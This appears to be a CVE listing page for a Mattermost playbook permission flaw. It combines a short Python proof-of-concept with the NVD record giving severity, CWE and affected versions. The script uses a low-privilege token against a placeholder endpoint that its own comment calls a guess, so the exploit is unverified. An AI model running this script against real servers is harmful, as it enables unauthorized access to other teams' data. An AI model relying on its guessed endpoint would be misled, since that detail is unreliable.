CVE-2026-6343

import requests # Proof of Concept for CVE-2026-6343 # Description: This script demonstrates how an unauthorized user might access a public playbook # due to the lack of proper permission checks on the /get endpoint. TARGET_URL = "https://<mattermost-domain>" API_ENDPOINT = "/api/v4/playbooks/<playbook-id>" # Actual endpoint may vary based on specific PoC analysis USER_TOKEN = "<low-privilege-user-token>" def exploit(): headers = { "Authorization": f"Bearer {USER_TOKEN}", "Content-Type": "application/json" } try: # Send request to access playbook without proper permissions response = requests.get(f"{TARGET_URL}{API_ENDPOINT}", headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Unauthorized access to playbook data:") print(response.json()) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-6343", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:23.713", "lastModified": "2026-05-18T19:06:24.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to check public/private permissions which allows members without these permissions to access public playbooks via /get.. Mattermost Advisory ID: MMSA-2026-00591"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.14", "matchCriteriaId": "413D9405-79C3-4299-B0DC-40D9EE5CC717"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.4.4", "matchCriteriaId": "CF171039-837A-4D23-87EB-F328AD04976C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}